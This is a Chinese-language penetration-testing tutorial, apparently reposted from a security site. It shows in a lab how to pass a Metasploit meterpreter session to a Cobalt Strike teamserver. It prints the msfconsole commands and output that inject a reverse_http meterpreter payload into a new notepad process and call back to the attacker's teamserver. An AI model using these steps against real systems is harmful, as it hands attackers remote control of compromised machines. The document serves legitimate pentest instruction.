Cobaltstrike作为一款协同APT工具,功能十分强大,针对内网的渗透测试和作为apt的控制终端功能,使其变成众多APT组织的首选,fireeye多次分析过实用cobaltstrike进行apt的案例。
cobaltstrike3新版的已经摒弃了metasploit,重写了所有的功能,但是鉴于metasploit功能的强大,cobaltstrike仍然保留了对metasploit的接口,今天我们不聊其他的,
只聊当我们使用metasploit获取到shell之后如何派生一个新的shell给cobaltstrike。系列参考我在安全脉搏上的:Cobalt strike browser pivot的应用实例
实验环境:
目标机器:windows server 2012 IP:192.168.81.150
metasploit机器:mac osx IP:192.168.1.103
cobaltstrike 机器:ubuntu 15.10 IP:192.168.81.135
首先,我们通过其他的途径,使用metasploit在payload在目标机器上获取了一个meterpreter:
进入我们获取到的meterpreter中
由于在metasploit的一些局限性和操作的不便利性,我们需要把metasploit获取到的shell派生出来一个新的shell,转交给cobaltstrike,方便我们协同渗透
在ubuntu机器上建立一个teamserver,然后本地链接,(仅仅为了演示,实际渗透中teamserver和client分开)
user@ubuntu:/pentest/exploits/framework3/cobaltstrike$ sudo ./teamserver 192.168.81.135 fuckfuckfuck[*] Generating X509 certificate and keystore (for SSL)[+] Team server is up on 50050[*] SHA1 hash of SSL cert is: d59e4862132ac9033c8f91216148bfd6d1049803
启动客户端链接,这里我们需要建立一个新的监听器:
ok,接下来,我们开始把macos上由metasploit获取的shell派生出一个新的shell转交给cobaltstrike,这里我们需要用到一个exploit: exploit/windows/local/payload_inject
这个exploit是注入一个新的payload 到当前的session里面,我们看下具体的操作
exploit/windows/local/payload_injectmsf exploit(web_delivery) > use exploit/windows/local/payload_injectmsf exploit(payload_inject) > show options Module options (exploit/windows/local/payload_inject):Name Current Setting Required Description---- --------------- -------- -----------NEWPROCESS false no New notepad.exe to inject toPID no Process Identifier to inject of process to inject payload.SESSION yes The session to run this module on.Exploit target: Id Name-- ----0 Windows msf exploit(payload_inject) > set PAYLOAD windows/meterpreter/reverse_httpPAYLOAD => windows/meterpreter/reverse_httpmsf exploit(payload_inject) > set DisablePayloadHandler trueDisablePayloadHandler => truemsf exploit(payload_inject) > set LHOST 192.168.81.135LHOST => 192.168.81.135msf exploit(payload_inject) > set LPORT 8880LPORT => 8880msf exploit(payload_inject) > set SESSION 1SESSION => 1msf exploit(payload_inject) > exploit [*] Running module against WIN-I6HQQE1E7AG[*] Launching notepad.exe...[*] Preparing 'windows/meterpreter/reverse_http' for PID 3916msf exploit(payload_inject) >
这里我解释一下这些参数,
由于cobaltstrike的监听器我们使用的是:windows/beacon_http/reverse_http,所以我们的payload也要使用:
PAYLOAD windows/meterpreter/reverse_http
设置本地监听ip和端口,由于我们的监听器是cobaltstrike的,所以要用到cobaltstrike机器的ip和端口
默认情况下,payload_inject执行之后会在本地产生一个新的handler,由于我们已经有了一个,所以不需要在产生一个,这里我们设置
set DisablePayloadHandler true
设置我们的当前session,执行,看看ubuntu机器上的cobaltstrike是否已经接受了我们由metasploit派生出来的shell。
ok,ubuntu机器192.168.81.135上cobaltstrike已经有了一个新的shell,是由Mac主机192.168.1.103派生出来的新的,转交给cobaltstrike的。
在渗透过程中,不要仅限于单一模式的思路,根据实际的情况,选择更优的方法来进行下一步的渗透测试。
【原创作者:Sh@doM 授权投稿安全脉搏 安全脉搏 分享技术 悦享品质 】
本文作者:Sh@doM
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/51077.html
暂无评论内容